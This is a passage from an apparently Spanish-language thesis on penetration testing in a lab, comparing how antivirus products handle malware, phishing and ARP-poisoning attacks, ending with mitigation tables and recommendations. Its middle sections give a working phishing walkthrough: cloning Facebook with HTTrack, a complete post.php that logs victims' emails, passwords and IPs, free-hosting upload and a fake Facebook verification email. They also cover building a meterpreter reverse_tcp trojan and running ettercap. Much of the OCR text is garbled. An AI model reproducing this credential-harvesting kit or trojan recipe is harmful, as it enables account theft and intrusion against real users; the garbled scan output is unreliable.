Pevice type: general purpose
unning: Microsoft Windows 10
DS CPE: cpe:/o:microsoft:windows_10
DS details: Microsoft Windows 10 1507 - 1607
Network Distance: 1 hop
bervice Info: Host: DESKTOP-NJSDEKT; OS: Windows; CPE: cpe:/o:microsoft:windows

ost script results:
_clock-skew: mean: -5h15m28s, deviation: 2h53ml2s, median: -6h55m28s
_nbstat: NetBIOS name: DESKTOP-NJSDEKT, NetBIOS user: <unknown>, NetBIOS MAC: 00:26:c7:da:54:ce (Intel Corporate)
smb-os-discovery:
0S: Windows 10 Enterprise 10586 (Windows 10 Enterprise 6.3)

Fig. 5 Informacion de la maquina 192.168.101.18

P 292.158.101.13
ing Nmap 7.91 { htzps://mmap.org )} at 2021-21-03 06:42 -85
report for 192.1 1.13
(0.020575 latency).
Not shown: 992 filtered ports
FORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 {(Wing4) OpenSSL/1.2.1cC
|_http-server-header: Apache/2.£.£1 ( %) OpenSSL/1.1.1c PHP/7.3.16@
|_http-title: AppServ Open Project G.
135/tcp open msrpc Microsoft Windows RPC
133/tcp open netbios-ssn Microsoft Windows netbics-ssn
open microsoft-ds?
open enpp?
open mysqgl MySCL (unauthorized)
open sSsl/ms-wbt-server?

4 = DESKTOP-U3
MetBIOS_Dcmain_Name: DESKTOP-U3SGOIK
MetBIOS_ Ccomputer_Nzme: DESKTOP-L3
DNS_Domain_Nam DESKTOP-W390IK2
DNS_Comguter_ : DESKTIP-U390IK2

16.€.19941
@21-01-03TO5:£5:08+20:00
( ESKTOP-U3901K2

1-06-10T@5%:35:23
5:43:00:€0; 2s from scanmer time.
7/tcp open | Microsoft HTTPAPL httpd 2.0 (SSDP/UPNP)
ttp-server s rosoft-HTTPARPI/2.0
http-titile: e Unavailable
Addres 4:D=:BF:74:07:33 (L_iteon Technolcgy)

Fig. 6 Informacion de la maquina 192.168.101.13



También con el comando: [ Nmap -O Direccion del Gateway] determinamos si existe alguna

vulnerabilidad.

® /home/zeus-4x
192.168.101.1

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 01:36 -05
Nmap scan report for 192.168.101.1
Host is up (0.0047s latency)
Not shown: 995 closed ports

STATE SERVICE

filtered ftp

open telnet

open http

open netbios-ssn

open microsoft-ds
MAC Address: EQ:E8:E6:0C:95:0A (Shenzhen C-Data Technology)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.8 - 2.6.30
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.75 seconds

Fig. 7 Informacidn obtenida del Gateway

Por Gltimo, ejecutamos un script de la herramienta nmap para buscar posibles vulnerabilidades
dentro de nuestro laboratorio controlado.
Comando a ejecutarse: nmap —script vuln [ Direccion IP].

> /home/zeus—4x
vuln 192.168.101 .24

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 ©1:43 —-05
Nmap scan report for 192.168.101.24
Host is up (0.042s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE
s80/tcp open http
| _http-csrf: Couldn"t find any CSRF vulnerabilities.
| _http-dombased-xss: Couldn’'t find any DOM based XSS.
| _http-stored-xss: Couldn"t find any stored XSS vulnerabilities.
135/tcp open msrpc
139/ tcp open netbios—ssn
445/ tcp open microsoft—-ds
MAC Address: ©90:26:C7:DA:54:CE (Intel Corporate)

Host script results:

| _samba-vuln—-cve—-2012-1182: No accounts Left to try
| _smb-—vuln-ms10-054: false

| _smb—vuln-ms1©@-©61: No accounts Lleft to try

Nmap done: 1 IP address (1 host up) scanned in 174 .56 seconds

Fig. 8 Vulnerabilidades obtenidas de la direccion IP 192.168.101.24

Para su elaboracion se usara la herramienta Armitage la cual nos permitira crear el Payload que
nos ayudara a penetrar el sistema y en la detencion se usara la herramienta wireshark para

verificar si existe algo inusual en la red.



> /home/zeus—4x
vuln 192.168.101.13
Starting Nmap 7.91 ( https://nmap.org )
scan report for 192.168.1©01.13
is up (©.00060s latency).
shown: 992 filtered ports
PORT STATE SERVICE
80/tcp open http
| _http-csrf: Couldn't find any CSRF vulnerabilities.
_http-dombased-xss: Couldn't find any DOM based XSS.
http-enum:
/phpinfo.php: Possible information file
/phpmyadmin/: phpMyAdmin
/phpMyAdmin/: phpMyAdmin
/PHPMyAdmin/: phpMyAdmin
— /icons/: Potentially interesting folder w/ directory listing
http-fileupload-exploiter:

|

|

|

|

|

|

|

|

|

= Couldn't find a file-type field.
| http-slowloris—check:

| VULNERABLE:

| Slowloris DOS attack
| State: LIKELY VULNERABLE

| S: :CVE-2007-6750

| Slowloris tries to keep many connections to the target web server
| them open as long as possible. It accomplishes this by opening cc
| the target web server and sending a partial request. By doing so,
| the http server’'s resources causing Denial Of Service.

|

|

|

|

|

|

|

|

|

|

Disclosure date: 2009-09-17
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
o http://ha.ckers.org/slowloris/
http-sql-injection:
Possible sgqli for queries:

Fig. 9 Vulnerabilidades de la IP 192.168.101.13

@ /home/zeus—4x
vuln 192.168.101.18

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 ©2:10 -05
Nmap scan report for 192.168.101.18
Host is up (©.027s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios—-ssn
445/tcp open microsoft-ds
2968/tcp open enpp
5357/tcp open wsdapi
MAC Address: ©0@:26:C7:DA:54:CE (Intel Corporate)

Host script results:

| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 45.06 seconds

Phishin Fig. 10 Vulnerabilidades de la IP 192.168.101.18

Atreves de Google hacking obtenemos el correo de la victima.

7] Vid © Moar B Not i)

Car solo resuRtados 1

car el idoma de busqueda en

v arcotel gobec» 14 v 3CINV < v
Listado ABCDEFGHIJKL12CIBERCAFES 3 4 Lista de

a

rcotel gob ec } tent PO
ListadoABCDEFGHIJKL

1 2 CIBERCAFES 3 4 Lista de ...

3y, Cuenca I

Fig. 11 Obtencion de informacion de la victima



e Se utilizara la herramienta HT Track web copier para el clonado del sitio web.

e Para la detencidn se aplicara conceptos basicos de prevencion de paginas fraudulentas.

Main in the Middle (MitM)

Ejecutamos el comando ipconfig para verificar las MAC y IP de las maquinas victimas.

&

Fig. 12 IP de méaquinas victimas
Ejecutamos el comando arp -a para revisar asignaciones de direcciones fisicas a las direcciones
IPv4 conocidas.
e Una vez detectadas las direcciones fisicas procedemos a realizar el ataque desde Kali
Linux
e Para la ejecucion de este ataque se empleara la herramienta ettercap.

e Ademas de la herramienta nmap para conocer puertos abierto, MAC address, IP de las

maquinas victimas.
i

Fig. 13 MAC address de las maquinas victimas

En los ataques detallados con anterioridad se ejecutd las mismas herramientas de detencién para
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evaluar su comportamiento ante cada amenaza, estos softwares fueron escogido de acuerdo al

grado de popularidad segun el portal web Computer Hoy [33]:

e ESET Internet Security 13.2

e Avast Premium Security

e Norton 360

o Bit defender Internet Security 25.0
o Panda Dome Complete

o Kaspersky Internet Security 21.0

o McAfee Total Protection

o G Data Internet Security 2021

e Auvira Internet Security 2021

e AVG Internet Security 2021

Tomando como referencia los dos primeros lugares y el ultimo de la lista para su estudio
respectivo.

3.2.2. Fase Il: Modelados de amenazas

Malware.
Primero instalamos la herramienta Armitage que nos ayudara a crear el malware tipo troyano
para su ejecucion.

Comando a ejecutarse: apt-get install Armitage.

® /home/zeus-4x
install armitage
E: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 13
2 (apt-get)

N: Be aware that removing the lock file is not a solution and may break you
r system.

E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend),
1s another process using 1t?

Fig. 14 Proceso de instalacion de la herramienta Armitage

Luego ejecutamos el comando service postgresql start este nos ayudara a iniciar el servicio

de SQL para la ejecucion de la herramienta.

33


https://computerhoy.com/antivirus#ESET-1611045894384
https://computerhoy.com/antivirus#Avast-1611045901525
https://computerhoy.com/antivirus#Norton-1611045908326
https://computerhoy.com/antivirus#Bitdefender-1611045916867
https://computerhoy.com/antivirus#Panda-1611045973261
https://computerhoy.com/antivirus#Kaspersky-1611045991781
https://computerhoy.com/antivirus#McAfee-1611046006247
https://computerhoy.com/antivirus#G-Data-1612196292602
https://computerhoy.com/antivirus#Avira-1612201789368
https://computerhoy.com/antivirus#AVG-1612201796841

/home/zeus-4x
postgresqgl start

/home/zeus-4x

Fig. 15 Inicio de servicio SQL

Con el comando Armitage ejecutamos la herramienta a utilizar.

Starting msfrpcd for you
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by sleep.engine.atoms.ObjectAccess (file
:/usr/share/armitage/armitage.jar) to method java.lang.ProcessImpl.getError
Stream()
WARNING: Please consider reporting this to the m
atoms.0bjectAccess
WARNING: Use —illegal-access=warn to enable wari @ Connecting to 127.0.0.1:55553

Progreso...

flective access operations java.net.ConnectException: Conexion rehusada (Connection refused)
WARNING: All illegal access operations will be de —_

Cancelar

Fig. 16 Ejecucion del programa
Phishing
De manera inicial obtenemos la copia del sitio web, en este caso clonamos para nuestra

simulacion la pagina de la red social Facebook para esto utilizamos la aplicacion HTTRACK.

H WinHTTrack Website Copier - [New Project 1] - o X
Ficheros Opciones Copia delsitio Auditoria Ventanas Ayuda

“iu Disco local <C:> ~

@ | AMD Nombre de proyecto existerte: Facebook] =

AppServ

Mis lugares Web Categoria del proyecto facebook >
Perflogs
Info

G- Program Files

Program Files (x86) ttps://www facebook.com

@ Temp

Users

| Windows

5| AMFTracelog
-] Recovery.xt

- MV <D:>

= Archivos <E> [C-\Wis lugares Web facebook El

= Reservado para el sistema <Fi>

<piss | Siquiente > Cancelar Ayuda

< > v

Fig. 17 Elaboracion de clonamiento de pagina web



Configuramos los parametros iniciales para dar inicio a la clonacion.
e Enel apartado de accion dejamos por defecto copiar sitio de la web

e En direccién web colocamos la URL del sitio que deseamos copiar y damos clic en

siguiente.

itio Auditoria Ventanas Ayuda

- Modo de

ado -

w1 &

Rellene lafs) direccion(es) en la lista de URL.

Accién [Copiar sitiofs) de la Web |

Direccién Web: (URL) #

Ihttps:/ facebook com

)

 Reservado para el sistema <F:»

Defiirlas opciones

Fig. 18 Configuracién de la herramienta de clonacion

Dejamos la configuracion por defecto y damos clic en finalizar.

“ia Disco local <C:>

AMD

AppSer:
Mis lugares Web

m

¢ Puede comenzar el volcada pulsando Ia tecla COMENZAR,
o definir més opciones de conexion

Perflogs Provesdor de Intemet

Program Files

Program Files (x36)

Temp

Deere ¥ Desconsctar f teminar 2 operacién
Windows I Shutdown PC when firished

[E| AMFTracelog
[E| Recoveryxt
o MV <D:>

[ Archivos <E:>
Frr-

[-wa Reservado para el sistema <Fi>

Retrasar

(" Grabar solamente corfiguraciones. no cargar o bajar ahora

< prrds Finalizar Cancelar | Ayuda |

Fig. 19 Configuracion final para la clonacion

A continuacidn, comienza la ejecucion de la clonacion del sitio web en cual debemos esperar
hasta que finalice dicho proceso, el tiempo de ejecucion puede variar dependiendo de la

caracteristica fisicas del computador.
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H volcado e i6n [2/32 (+14], 3661537 bytes] - [Facebookwhtt] - ] X
Fich Opciones  Copia del sitic  Auditoria  Ventanas  Ayuda
By, Disco local <C: -
AMD En progreso Transfering data
AppServ
Mis lugares Web Informacianes
Perflogs Bytes guardados:  3.43MiB Enlaces recomidos:  2/32 (+14)
Program Files Tiempo: s Ficheros escrtos: 14
&~ | Program Files (x86) Tasa de 102.41KB/s (73.79KB/s) Ficheros puestos al 0
Temp Conexiones 4 Erores 0
Users
- | Windows ¥ En eiecucien
5] AMFTrace.log
=] Recovery.txt recoriendo ://www facebook.com/watch — SALTAR
B MV <D recepcién  https://www facebook.com.facebook S SALTAR
e Archivos <E:> peticion  hitps://www fa...cover/inttiate/?ars=facebook _logindpr SALTAR
Eams Rescrvado para el sistema <Fis peticin  tps://www facebook com/te/ ] SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
SALTAR
< > v

Fig. 20 Proceso de clonado de pagina web

Una vez finalizada la clonacion nos dirigimos a la carpeta creada y buscamos dentro el

archivo llamado index.html.

R B B BBl B

Fig. 21 Ubicacion del archivo index.html
Una vez encontrado el archivo index.html, damos doble clic y a continuacion se abrira la pagina
clonada; en la cual hacemos clic derecho y en menu de secundario seleccionamos la opcion
“ver codigo fuente de la pagina” y ejecutamos los siguientes pasos:
e Dentro del cddigo fuente de la pagina presionamos CTRL+F para buscar.
e Enel cuadro de busqueda digitamos la palabra login_form.

e Una vez encontrado nos dirigimos donde nos muestra la sentencia:

action= “https://facebook.com/login/?”

e Luego la remplazamos por la sentencia:

action= “post.php”

36


https://facebook.com/login/

earfix " id="content" role="main"><¢divs><div class="_8esj
L4

testid="royal_Jloginegorn" action="https://www.facebook.com

privacy mutation_tokenweyl@eXB1lIjowlC]jcmVhdGlvb19@alillIjoy

pamaz"dasnase" Blus="2092" sutsromnlataz"afs" sinpus sud
> 2 e & P

tor"><div class="_53jh"><div class="loggedout_menubar

e inicio de Facebook"><i class="fb_logo img =p nvOywc

'logiﬁ_?ﬂ”m' nf?iﬁﬂ-"posf.php" meth

in_form™><form id

Fig. 22 Proceso de modificacion de pagina clonada

Luego procedemos a crear el archivo post.php:
e De manera inicial creamos un archivo en cualquier editor de texto, para la simulacion
usaremos bloc de notas; dentro del cual detallamos el siguiente cddigo que nos permitira
obtener los datos de registro de la victima.

e Una vez culminado procedemos a cambiar la extension del archivo a post.php.

*pest: Bloc de netas
Archive  Edicion  Feemato Ve Ayuda
2php

smail = $_POST["email'];

pass = $§_POST['pass'];

ip = $_SERVER[ 'REMOTE_ADDR'];

f = fopen(“passwords.htal™, "a");

write ($F, ‘Emafl: [<b><font color="2EE@T07">'.Semail. '</font></b>] Password: [<b><font color="#39QFF1%>'.Spass. "¢/font>¢/0>]
2: [<br><font color="#4EEB117>".$ip. ' ¢/font></b>]cor>');

close($f);

leep(3);

eader(“Location: https://www.facebook.com/login/device-based/regular/login/?login_attempt~1alwv=118");

>

Propiedades: post X

General Seguridad Detalles Versiones anteriores

| lpost phpl = .

Tipo de archivo: Documento de texto (ixt)

post.php
Se abre con: ]| Bloc de notas Cambiar...
Ubicacién: C:\Users\Zeus-4X\Desktop
Tamaio 450 bytes (450 bytes)
Tamario en N
disco: Obytes

Fig. 23 Configuracion del archivo PHP

Una vez cambiada la extension copiamos el archivo post.php y lo pegamos dentro de la carpeta
donde esta alojada nuestra pagina clonada.
Luego procedemos a cargar en un hosting pagado o gratuito la carpeta que contiene los archivos

resultantes de la clonacion de la pagina incluido el archivo post.php que creamos para la
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simulacion.

Para nuestra simulacién usaremos el hosting gratuito “miarroba.com”.

t » O Mot Pret I

) dalemegesiaahaey fwed

momEEER

Fig. 24 Subida de la amenaza a la red

A continuacion, procedemos a disefiar nuestra plantilla que puede ser creada de forma nativa o
usando herramientas para la creacion de las misma, para nuestra simulacion usamos la
herramienta “stripo. email”.

Una vez creada la plantilla del correo, esta sera enviada a la victima; donde colocara los datos

solicitados.
4 stripo ) (B]-) ( Nuewomensse o - @ Comparti ) | & | D| A < (o [@E
Apariencia Contenido
facebook
Bloques
< atras A al contenedor

Correo de verificacion

Informe N° 329834

Enlace &

Buen dia.
De la forma maés cordial y atenta el equipo de desarrollo de Facebook te hace la cordial

Sitio ~ | hitps//dalemegustaahora.webcit

invitacién a realizar una verificacion de tus datos de acceso a la plataforma, esto debido a que
Alternar texto ultimamente hemos notado muchos intentos de ingresos a tu cuenta. Para acceder a la

verificacion ingrese aqui

. = * = U
Tamato @i( & | 1 (— 268 + Adela Ruiz
v Departamento TI
) Facebook INC.
Médulos

Fig. 25 Disefio del correo falso que se enviara

Main the Middel (MitM)

Dentro del Kali Linux ejecutamos la aplicacion de nombre ettercap.
e Activamos la opcion sniffing startup y seleccionamos la red.

e Luego buscamos los hosts que se encuentran en la red.
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e Dentro de la lista de host verificamos si nuestras IP se encuentran con sus respectivas

direcciones fisicas.

Fig. 26 Host encontrados en la red

3.2.3. Fase Ill: Analisis de vulnerabilidades.

Malware
Con el programa wireshark se describe una anomalia dentro del sistema de red de la empresa

presentado a continuacion.

Al momento de realizar una peticion nmap -sT [direccion IP] a el servidor o la maquina
victima notamos las peticiones [SYN]. Para luego recibir un [SYN, ACK] y cerrar con un
[ACK], adicionalmente nos percatamos que se esta preguntando si el servidor esta activo o no;

ademas a través de su direccion IP deduciriamos de donde o quien estd haciendo esas

peticiones a nuestro servidor 0 maquina victima.

“ 8 Kali Linux [Corriendo] - Oracle VM VirtualBox - o X
Adm0® ERBERes=TiEQQaQn
A [0.odor == 192.168.101.26 (<] +
Source Destinaton Protoc Length Info
192.168.101.26 192.168.101.27 e 74 39274 » 1117 [SYN) Seq=8 Win=t
192.168.101.26 192.168.101.27 TR 74 51786 + 1259 [SYN] Sequ@ Wins(
192.168.101.26 192.168.101.27 T 74 37848 » 625 [SYN] Seq=0 Win=5¢
192.168.191.26 192.168.101.27 T 74 49064 + 1124 [SYN] Seq=@ Win=¢
192.168.101.26 192.168.101.27 T 74 54762 + 32768 [SYN] Seqw® Win
192.168.101.27 192.168.101.26 TR 74 135 =+ 59000 [SYN, ACK] Seq=0 /
19 192.168.101.26 192.168.101.27 TCP 66 59000 + 135 [ACK] Seqel Ackel
o 26 192 TP 56 50000 RST, Seq=1 4
TP 74 48120 + 500 [SYN) Seqed Winwsé
- o Pownis ooacm it

(528 bits), 66 bytes captured (528 bits) on interface \De
©€7:33 (74:4f:bf:74:07:33), Dst: IntelCor_da:Sé:ce

© 26 c7daS4ce 74 df bf 7407 3308004500 & Tt t3 E
€0 34 33 75 40 00 40 06 bb 8 cO a8 65 1a c@ a8  43u@ @
65 1b e6 78 00 87 1f 84 32 11 f7 c257 6b 80 10 e x 2. Wk
1 6 82 02 0 00 91 01 08 €a a7 b3 10 9d 00 5

66 d7

s

f

&5 &8 @ & cromecHa

@ 7 vireshark_WiFDONZWO.pcapng Paquetes: 13070 - Mostrado: 6145 (47.0%)- Perdido: 0 (0.0%) | Perfi: Default o]

Fig. 27 Deteccion de peticiones al servidor
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Si un ciberdelincuente se encuentra en nuestra red debemos de deducir peticiones al servidor
de forma sigilosa por medio de un comando nmap -sS y la [direccion IP] del objetivo, se lo

puede ejecutar y obtener informacién muy valiosa para el atacante.

4 2 Kali Linux [Corriendo) - Oracle VM VirtualBox - u] X
e Archive  Miquina Ver Entrads  Dispositivos uds
4 ® mRE - S§ 5= i z
A ] siiFEeaan E C 06:51PM O an0lad
N |ip.addr == 152.168.101.26 WEd -+
o rwez— g T y. root@Zeus-4X: homefzeus-4x

192.168.101.26 192.168.101.27 60 37605 + 3351 [SYN] Seqwd W
192.168.101.26 192.168.101.27 60 37605 + 7004 [SYN] Seqed W
192.168.181.26 192.168.101.27

192.168.101.26 192.168.101.27

gESEE

3dddd
Huss
‘Bh
i
2
!

152.168.101.27 192.168.101.26

414 g 5 TC e i
1223 192.. .26 192.. 27 TP Seqe® |

1560 192.168.101.26 192.168.101.27 Tce 60 37605 + 1381 [SYN] Seqed W

1662 192.168.101.26 192.168.101.27 TP 60 37605 + 16018 [SYN] Seq=d |

ean ann sse san ae ana e was av —on ea smeac . canns Tewn eoaia s b
<

>

Frame 1: 46 bytes on wire (368 bits), 46 bytes captured (368 bits) on interface \Device\NPF |
Ethernet II, Src: Shenzhen 0c:95:0a (e0:e8:e6:0c:95:0a), Dst: LiteonTe_74:07:33 (74:df:bf:74
Internet Protocol Version 4, Src: 192.168.101.1, Dst: 224.0.0.1

Internet Group Management Protocol

home/zeus-4x

< >
74 df bf 74 07 33 e0 e8 o6 Oc 95 02 08 00 46 00 L. 23 F
00 20 00 00 40 00 01 02 df 2c c@ a8 65 01 €0 00 & e
90 91 94 04 00 00 11 64 ee 9b 00 00 00 00 d
/home/zeus-4x
) 7 wireshark_Wi-FTUHLWO.pcapng Paguetes: 2054 - Mostrado: 2040 (92.3%) | Perfi: Default B e&o 858006 & oromcn
-

Fig. 28 Deteccidn de peticiones al servidor de forma sigilosa

Phishing
Nos percatamos que el correo fue recibido sin ninguna sospecha del servidor de archivos ni del

equipo victima.

7] T = v
3 Recibidos 1.352
% Destacados Google Alerts 82 Alerta de Google - hacking - Google hacking Actualizacion inmediata
© Pospuestos you4Spremiun@gmail.c. Verificacion de Facebook - Correo de verificacion Informe N* 329834 Buen dia, D
.

Fig. 29 Correo malicioso recibido

3.2.4. Fase IV: Fase de explotacion

Malware
En la opcién nmap que se encuentra ubicada en el apartado host de la barra de tareas, nos sirve
para detectar las maquinas que se encuentran dentro de nuestro laboratorio controlado, en caso

de que no detecte la maquina en la red se lo puede realizar manualmente.
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& A.E ro.E z. v 0254AM O A0 & C

Armitage

Armitage View IzEEEN Attacks Workspaces Help

import Hosts
Add Hosts...

Nmap Scan
MSF Scans..

Intense Scan

Intense Scan + UDP
Intense Scan, all TCP ports
Clear Database Intense Scan, no ping

DNS Enumerate

P S
192.168.101. 18 192.168. 101, [
Quick Scan
Quick Scan (0S detect)
Comprehensive

Fig. 30 Ejecucion del apartado nmap scan

Entrada

Enter scan range (e.g., 192.168.1.0/24):
192.168.101.13

Cancelar | | Aceptar |

Nmap 7.91 ( https://mmap.org ) at 2021-01-04 02:53
n report for 192.168.101.29

Fig. 31 Introduccion manual de IP no detectada

A continuacién, seleccionamos en la barra de tareas la opcion [Payload], seguidamente la

opcion [Windows] y finalmente en la carpeta con el nombre de meterpreter.
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ArLmve  wiaguing  ver  enuaud wispusie Archive  Maguina  Ver  Entrada

Armitage View Hosts Attacks Worksp Armitage Wiew Hosts Attacks !

» (B auxiliary N v [ windows

> (& explot || adduser

Y (@ payload » (& dilinject
> & ax || dns_txt_query |
> (& android || download_exe
» (i apple_ios oxec
> @ bsd || format_all_driw
> [ bsd | loadlibrary
" @ ;md || messagebox
: gﬁ;e::ric r & meterpreter
S [ijgava || meterpreter_b
e (B limne 4 || meterpreter_b

rrnt aEreat e e

Console X e

Fig. 32 Ejecucion del apartado meterpreter

Dentro de la carpeta meterpreter escogemos la opcion [reverse_tcp], también debemos verificar

que la direccién IP y puerto sea los correctos, posterior damos clic en launch.

windows/meterpreter/reverse_tecp
Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Inject the meterpreter server DLL via the Reflective DIl Injection payload
(staged). Connect back to the attacker

-

Option 4| Value
EXITFUNC proce

Iterations 3
KeepTemplateWorking

LHOST 192,168.101.32
LPORT 6565

Output:| | exe v

2
|| Show advanced options

terpreter/reverse_tcp

Fig. 33 Ejecucion de la funcion reverse_tcp

En la siguiente ventana que aparece automaticamente debemos de colocar la ubicaciony

nombre a nuestro archivo malicioso para el ejemplo lo Illamaremos [Pruebal].



- Guardar

92.168. | - . lﬁTroyanos _VJ lﬁj lﬁj lﬁj |?|[£J

Nombre de archive: | Pruebal

[ Archivos de tipo: | Todos los Archivos _vJ

Guardar Cancelar

126

windows /meterpreter/reverse_tcp

Fig. 34 Nombre de nuestro archivo troyano

6 Saved /home/zeus-Ax/Escritorio/Troyanos/Pruebal

Aceptar

Fig. 35 Mensaje de confirmacion de creacion de Payload

Como podemos observar Google drive detecta los archivos infectados, pero de igual manera no
protege nuestra magina porque a la final nos permite la opcion de descarga.
Fig.

36 Deteccién de la amenaza.
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Phishing
Una vez abierto el enlace observamos que los antivirus Avast Free y AVG instalados no lo

reconocen como ataque de phishing al igual que tampoco lo hace el navegador.

Para nosotros poder saber si es 0 no un correo real, en el enlace verificamos a donde nos

direcciona.

- o S
o . - - & tents of & arvok
N e tus d - & 8 claty : & 2
> Envisdos > > ) oty ' =
. Borradores
.
3 AQU
v
Meet Atels Reg
Nuewa reursdn
B Nueva reursd Departamenne T1
B Unirse s una reunica Facebook INC
Hangouts
Qs » e
-
et a v a - Facatock e - =

aoscacon ripdade - X | M Verfcacdn de Facebook - e X n Facebook - Entrar o egmtane X - — o
8 dilemegustaahorawebandand com/¥acebook/es-#5 fcetoo w D » o
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Fig. 38 Ejecucion del ataque de phishing

El antivirus Avast free y AVG no detectaron el ataque de phishing, pero ESET NOD 32, que
contiene un apartado de detencién de anti- phishing lo detecto y no permitio la ejecucién del

ataque.
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N ¢ puede acoader 3 este 580 web

Fig. 39 Deteccidn del ataque de phishing
Man in the middle (MitM).

Una vez encontrado los hosts, seleccionamos y hacemos clic en add target 1 y target 2.

Finalmente, en el menl de MitM damos clic en ARP poisoning.

) 810 L0 ASDAT A3
19216810018 00:26:C7DASECE
) 810 TADF B 2407

LR !

Ettercap

Fig. 40 Ejecucion del ataque ARP poisoning

El ataque es detectado por el antivirus ESET NOD 32 en su versién Smart Security, ya que las

demas versiones detectan otros ataques exceptos los que son directo a la red.
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l 0 Amenaza de red bloqueada

Ataque de envenenamiento de cache ARP

Un gidensdor de la red esta enviando tréfico malicioso.
Puede tratarse de un intento de atacar su ordenador.

La amenaza se bloqued.

Cambiar |3 gestion de esta amenz:za

Mas informacion sobre este mensaje

La version de prueba caduca en 30 dias.

R AP [l A e e e

Fig. 41 Deteccion del ataque MitM

3.2.5. Fase V: Fase de informe

Software antivirus
e Avast Free.
e AVG Antivirus free.

e ESET NOD32 Antivirus
(Version de prueba).

e Instalacién de IDS

Escaner de vulnerabilidades
e Wireshark
Firewall de red
e Firewall de Microsoft Defender

e Pruebas de penetracion.

Software antivirus
e Avast Free.

e AVG Antivirus free. e Anadlisis estatico de

o « ESET NOD32 Antivirus Zf’d,'ﬁo.' dindmico d
= (Version de prueba). ¢ Cér:j{’:ézls ihamico de
5 .

o e Pruebas de penetracion

Firewall de red

e Firewall de Microsoft Defender. * Instalacion de IDS
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Software antivirus
e Avast Free.

e AVG Antivirus free.
e ESET NOD32 Antivirus
(Version de prueba).

e Instalacion de IDS.
e Pruebas de penetracion.

Firewall de red
e Firewall de Microsoft Defender

Tabla 1 Cuadro de andlisis de técnicas por cada herramienta de mitigacion

Tiene una version con La version free trae minimas

licencia free. herramienta de mitigacion de
e Bloguea cualquier tipo seguridad informatica.

de virus. e No elimina virus ni software
e Contiene un cortafuegos maliciosos.

avanzado. e El cortafuego que contiene solo

detecta ciertos ataques
informaticos.

e Navegacion privada. e El bloqueador de anuncios en
e Bloqueador de anuncios. version free es limitado.
e Te protege contra script. e Elcifrado HTTPS es vulnerable
(5') en la version free.
< e Requiere de otros
complementos para mejorar
seguridad informatica.

e La version de e Solo ofrece una version free por
mecanismo antirrobo es 30 dias.
muy avanzada. e El alto costo en sus diferentes
e Evita la emisién de versiones.
anuncio de amenazas en
su mayoria.
e Utiliza pocos recursos de
la PC.

Tabla 2 Cuadro comparativo entre (Intrusion Detection System) IDS



Ataque Herramienta Observacion

Avast Free. Detecta el ataque en primera instancia.

= AVG Antivirus fr

g G Antivirus free. Detecta el ataque en primera instancia.

< —

S ESET NOD32 Antivirus
(Version de prueba). Detecta el ataque en primera instancia.
Avast Free. No detecta el ataque ni en primera ni en segunda

instancia

= AVG Antivirus free. No detecta el ataque en primera instancia, pero

= una vez ejecutado el robo de informacion lo

ﬁ detecta en segunda instancia.

o ESET NOD32 Antivirus Detecta el ataque en primera instancia.
(Version de prueba).

Avast Free. No detecta el ataque ni en primera ni en segunda
instancia

AVG Antivirus free. No detecta el ataque ni en primera ni en segunda
instancia

ESET NOD32 Antivirus
(Version de prueba).

Lo detecta en primera instancia.

Tabla 3 Comportamiento de las herramientas segun los ataques

Ataque

Sugerencias y Recomendaciones

Malware

Para la mitigacidn de este ataque se recomienda el uso de algun antivirus de
version free de los analizados con anterioridad

Actualizacion del software.

Desinstalacién de aplicaciones que se usan.
Estar atento antes cualquier actitud sospechosa.

Phishing

Verificar procedencia de las paginas web.

Revisar las URL de las paginas web.

Reforzar la seguridad de la PC con algun antivirus.

Evitar ingresar informacion confidencial en sitios web no seguros.

Evitar conectarse a rede pablicas y abiertas
Utilizar VPN para la conexion.
Usar software de antivirus de mejor robusticidad para la mitigacion del

ataque.

Mantener sistemas actualizados.

Tabla 4 Recomendaciones especifica de cada amenaza
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De acuerdo al analisis y a los resultados obtenidos de las diferentes técnicas y herramientas
usadas en nuestro laboratorio controlado se puede determinar que la herramienta mas éptima
para la mitiga de los ciberataques presentados es ESET NOD 32, y mejor técnica para detectar

intrusos es la instalacion de IDS.
CONCLUSIONES

v Se identifico y aplico las herramientas principales para llevar a cabo las pruebas de
penetracion ademas del estudio de cada una de ellas.

v Se aplico y modifico los estandares de la metodologia PTES de acuerdo al estudio a
realizar con cada ciberataque.

v’ Se disefio un cuadro comparativo de cada técnica a usar dependiendo de la amenaza a
implantar.

v" Se especifico las recomendaciones de técnicas y herramientas a usar antes las amenazas

estudiadas.

RECOMENDACIONES

v’ Para la mitigacién de estos ciberataques realizados, se recomienda el uso de software
de antivirus ESET Security en su version free.

v" Tener cuidado con sitios fraudulentos donde descarguemos cualquier tipo de archivo
desconocido.

v" Educar a los usuarios de manera que sepan identificar correos fraudulentos.

v’ Estar atentos a correos de dudosa procedencia los cuales soliciten informacion
confidencial.

v Mantener el sistema actualizado permitiendo agregar mejoras que ayuden a mitigar los

ciberataques.
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GLOSARIO

PTES: El estandar de ejecucion de pruebas de penetracién consta de secciones principales.
Estos cubren todo lo relacionado con una prueba de penetracion, desde la comunicacion inicial
y el razonamiento detras de un pentest.

Malware: es un término general para referirse a cualquier tipo de software malicioso disefiado
para infiltrarse en su dispositivo sin su conocimiento.

Phishing: meétodos mas utilizados por delincuentes cibernéticos para estafar y obtener
informacion confidencial de forma fraudulenta.

Main in the middle: Es un método de ataque informatico que solo necesita que el atacante se
